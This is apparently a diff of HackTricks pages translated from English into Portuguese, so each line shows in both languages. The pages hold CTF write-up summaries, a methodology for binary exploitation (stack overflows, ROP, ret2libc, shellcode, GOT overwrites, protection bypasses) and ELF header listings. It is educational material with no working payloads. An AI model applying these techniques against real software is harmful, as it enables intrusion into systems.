- Existem **2 arrays colidindo**, um para **endereços** onde os dados são armazenados e um com os **tamanhos** desses dados. É possível sobrescrever um a partir do outro, permitindo escrever um endereço arbitrário indicando-o como um tamanho. Isso permite escrever o endereço da função `free` na tabela GOT e, em seguida, sobrescrevê-lo com o endereço de `system`, e chamar free de uma memória com `/bin/sh`.
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
- 64 bits, sem nx. Sobrescrever um tamanho para obter uma espécie de buffer overflow onde tudo vai ser usado como um número duplo e ordenado do menor para o maior, então é necessário criar um shellcode que atenda a esse requisito, levando em conta que o canário não deve ser movido de sua posição e, finalmente, sobrescrever o RIP com um endereço para ret, que atenda aos requisitos anteriores e colocando o maior endereço como um novo endereço apontando para o início da pilha (vazado pelo programa) para que seja possível usar o ret para pular lá.
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
- 64 bits, sem relro, canário, nx, sem pie. Há um off-by-one em um array na pilha que permite controlar um ponteiro concedendo WWW (ele escreve a soma de todos os números do array no endereço sobrescrito pelo off-by-one no array). A pilha é controlada, então o endereço GOT `exit` é sobrescrito com `pop rdi; ret`, e na pilha é adicionado o endereço para `main` (retornando para `main`). Uma cadeia ROP para vazar o endereço de put na GOT usando puts é utilizada (`exit` será chamado, então chamará `pop rdi; ret`, executando assim essa cadeia na pilha). Finalmente, uma nova cadeia ROP executando ret2lib é utilizada.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 bits, sem relro, sem canário, nx, pie. Abuse uma má indexação para vazar endereços de libc e heap da pilha. Abuse o buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação).

View File

@ -1,111 +1,111 @@
# Basic Binary Exploitation Methodology
# Metodologia Básica de Exploração Binária
{{#include ../../banners/hacktricks-training.md}}
## ELF Basic Info
## Informações Básicas sobre ELF
Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**:
Antes de começar a explorar qualquer coisa, é interessante entender parte da estrutura de um **binário ELF**:
{{#ref}}
elf-tricks.md
{{#endref}}
## Exploiting Tools
## Ferramentas de Exploração
{{#ref}}
tools/
{{#endref}}
## Stack Overflow Methodology
## Metodologia de Stack Overflow
With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology.
Com tantas técnicas, é bom ter um esquema de quando cada técnica será útil. Note que as mesmas proteções afetarão diferentes técnicas. Você pode encontrar maneiras de contornar as proteções em cada seção de proteção, mas não nesta metodologia.
## Controlling the Flow
## Controlando o Fluxo
There are different was you could end controlling the flow of a program:
Existem diferentes maneiras de você acabar controlando o fluxo de um programa:
- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- Or via **Arbitrary Writes + Write What Where to Execution**
- [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
- [**Stack Overflows**](../stack-overflow/) sobrescrevendo o ponteiro de retorno da pilha ou o EBP -> ESP -> EIP.
- Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow.
- Ou via **Arbitrary Writes + Write What Where to Execution**.
- [**Format strings**](../format-strings/)**:** Abuse `printf` para escrever conteúdo arbitrário em endereços arbitrários.
- [**Array Indexing**](../array-indexing.md): Abuse de um indexação mal projetada para conseguir controlar alguns arrays e obter uma escrita arbitrária.
- Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow.
- **bof to WWW via ROP**: Abuse de um buffer overflow para construir um ROP e conseguir um WWW.
You can find the **Write What Where to Execution** techniques in:
Você pode encontrar as técnicas de **Write What Where to Execution** em:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
## Eternal Loops
## Laços Eternos
Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary:
Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vulnerabilidade pode não ser suficiente** para executar um exploit bem-sucedido, especialmente algumas proteções precisam ser contornadas. Portanto, é interessante discutir algumas opções para **tornar uma única vulnerabilidade explorável várias vezes** na mesma execução do binário:
- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring.
- Controlling a proper ROP chain you might be able to perform all the actions in that chain
- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability**
- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`.
- Escrever em uma **cadeia ROP** o endereço da **função `main`** ou o endereço onde a **vulnerabilidade** está ocorrendo.
- Controlando uma cadeia ROP adequada, você pode ser capaz de realizar todas as ações nessa cadeia.
- Escrever no **endereço `exit` no GOT** (ou qualquer outra função usada pelo binário antes de terminar) o endereço para **voltar à vulnerabilidade**.
- Como explicado em [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** armazene 2 funções aqui, uma para chamar a vulnerabilidade novamente e outra para chamar **`__libc_csu_fini`** que chamará novamente a função de `.fini_array`.
## Exploitation Goals
## Objetivos de Exploração
### Goal: Call an Existing function
### Objetivo: Chamar uma Função Existente
- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag.
- In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack.
- In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it
- In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it
- If you need to set several parameter to correctly call the **ret2win** function you can use:
- A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know.
- [**ret2win**](./#ret2win): Há uma função no código que você precisa chamar (talvez com alguns parâmetros específicos) para obter a flag.
- Em um **bof regular sem** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você só precisa escrever o endereço no endereço de retorno armazenado na pilha.
- Em um bof com [**PIE**](../common-binary-protections-and-bypasses/pie/), você precisará contorná-lo.
- Em um bof com [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você precisará contorná-lo.
- Se você precisar definir vários parâmetros para chamar corretamente a função **ret2win**, você pode usar:
- Uma [**cadeia ROP**](./#rop-and-ret2...-techniques) **se houver gadgets suficientes** para preparar todos os parâmetros.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (caso você possa chamar essa syscall) para controlar muitos registradores.
- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores.
- Via um [**Write What Where**](../arbitrary-write-2-exec/) você poderia abusar de outras vulnerabilidades (não bof) para chamar a função **`win`**.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe.
### Goal: RCE
### Objetivo: RCE
#### Via shellcode, if nx disabled or mixing shellcode with ROP:
#### Via shellcode, se nx desativado ou misturando shellcode com ROP:
- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it:
- **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it
- **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there.
- This will mix shellcode with a ROP chain.
- [**(Stack) Shellcode**](./#stack-shellcode): Isso é útil para armazenar um shellcode na pilha antes ou depois de sobrescrever o ponteiro de retorno e então **pular para ele** para executá-lo:
- **Em qualquer caso, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** em um bof regular você precisará contorná-lo (vazar).
- **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), é possível pular para o endereço da pilha, pois ele nunca mudará.
- **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/), você precisará de técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para pular para ele.
- **Com** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), você precisará usar algum [**ROP**](../rop-return-oriented-programing/) **para chamar `memprotect`** e tornar alguma página `rwx`, para então **armazenar o shellcode lá** (chamando read, por exemplo) e então pular para lá.
- Isso misturará shellcode com uma cadeia ROP.
#### Via syscalls
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**.
- If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve**
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para chamar `execve` para executar comandos arbitrários. Você precisa ser capaz de encontrar os **gadgets para chamar a syscall específica com os parâmetros**.
- Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) estiverem habilitados, você precisará derrotá-los **para usar gadgets ROP** do binário ou bibliotecas.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) pode ser útil para preparar o **ret2execve**.
- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores.
#### Via libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually).
- If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
- With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** :
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it&#x20;
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory.
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to:
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
- Find the **`libc` version** used (leak a couple of function addresses)
- Check the **previous scenarios with ASLR** to continue.
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para chamar uma função de uma biblioteca (geralmente de **`libc`**) como **`system`** com alguns argumentos preparados (por exemplo, `'/bin/sh'`). Você precisa que o binário **carregue a biblioteca** com a função que você gostaria de chamar (libc geralmente).
- Se **compilado estaticamente e sem** [**PIE**](../common-binary-protections-and-bypasses/pie/), o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente.
- **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e sabendo a versão da libc** carregada, o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente.
- Com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **mas sem** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, sabendo a libc e com o binário usando a função `system`**, é possível **`ret` para o endereço de system no GOT** com o endereço de `'/bin/sh'` no parâmetro (você precisará descobrir isso).
- Com [ASLR](../common-binary-protections-and-bypasses/aslr/) mas sem [PIE](../common-binary-protections-and-bypasses/pie/), sabendo a libc e **sem o binário usar a função `system`**:
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver o endereço de `system` e chamá-lo.
- **Contorne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) e calcule o endereço de `system` e `'/bin/sh'` na memória.
- **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e não sabendo a libc**: Você precisa:
- Contornar [**PIE**](../common-binary-protections-and-bypasses/pie/).
- Encontrar a **versão da `libc`** usada (vazar alguns endereços de função).
- Verificar os **cenários anteriores com ASLR** para continuar.
#### Via EBP/RBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack.
- Useful for **off-by-one** stack overflows
- Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controle o ESP para controlar o RET através do EBP armazenado na pilha.
- Útil para **off-by-one** stack overflows.
- Útil como uma maneira alternativa de acabar controlando o EIP enquanto abusa do EIP para construir o payload na memória e então pulando para ele via EBP.
#### Misc
#### Diversos
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# ELF Basic Information
# Informações Básicas sobre ELF
{{#include ../../banners/hacktricks-training.md}}
## Program Headers
The describe to the loader how to load the **ELF** into memory:
## Cabeçalhos do Programa
Eles descrevem ao carregador como carregar o **ELF** na memória:
```bash
readelf -lW lnstat
@ -14,80 +13,78 @@ Entry point 0x1c00
There are 9 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
```
O programa anterior tem **9 cabeçalhos de programa**, então, o **mapeamento de segmentos** indica em qual cabeçalho de programa (de 00 a 08) **cada seção está localizada**.
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - Cabeçalho do Programa
### PHDR - Program HeaDeR
Contains the program header tables and metadata itself.
Contém as tabelas de cabeçalho do programa e os metadados em si.
### INTERP
Indicates the path of the loader to use to load the binary into memory.
Indica o caminho do carregador a ser usado para carregar o binário na memória.
### LOAD
These headers are used to indicate **how to load a binary into memory.**\
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
Esses cabeçalhos são usados para indicar **como carregar um binário na memória.**\
Cada cabeçalho **LOAD** indica uma região de **memória** (tamanho, permissões e alinhamento) e indica os bytes do binário ELF **a serem copiados lá**.
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
Por exemplo, o segundo tem um tamanho de 0x1190, deve estar localizado em 0x1fc48 com permissões de leitura e escrita e será preenchido com 0x528 a partir do deslocamento 0xfc48 (não preenche todo o espaço reservado). Essa memória conterá as seções `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
Esse cabeçalho ajuda a vincular programas às suas dependências de biblioteca e aplicar realocações. Verifique a seção **`.dynamic`**.
### NOTE
This stores vendor metadata information about the binary.
Isso armazena informações de metadados do fornecedor sobre o binário.
### GNU_EH_FRAME
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
Define a localização das tabelas de desempilhamento de pilha, usadas por depuradores e funções de tempo de execução de tratamento de exceções em C++.
### GNU_STACK
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
Contém a configuração da defesa de prevenção de execução de pilha. Se habilitado, o binário não poderá executar código da pilha.
### GNU_RELRO
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
Indica a configuração RELRO (Relocation Read-Only) do binário. Essa proteção marcará como somente leitura certas seções da memória (como o `GOT` ou as tabelas `init` e `fini`) após o programa ter sido carregado e antes de começar a ser executado.
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
No exemplo anterior, está copiando 0x3b8 bytes para 0x1fc48 como somente leitura, afetando as seções `.init_array .fini_array .dynamic .got .data .bss`.
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
Observe que RELRO pode ser parcial ou total, a versão parcial não protege a seção **`.plt.got`**, que é usada para **lazy binding** e precisa desse espaço de memória para ter **permissões de escrita** para gravar o endereço das bibliotecas na primeira vez que sua localização é pesquisada.
### TLS
Defines a table of TLS entries, which stores info about thread-local variables.
Define uma tabela de entradas TLS, que armazena informações sobre variáveis locais de thread.
## Section Headers
Section headers gives a more detailed view of the ELF binary
## Cabeçalhos de Seção
Os cabeçalhos de seção fornecem uma visão mais detalhada do binário ELF.
```
objdump lnstat -h
@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
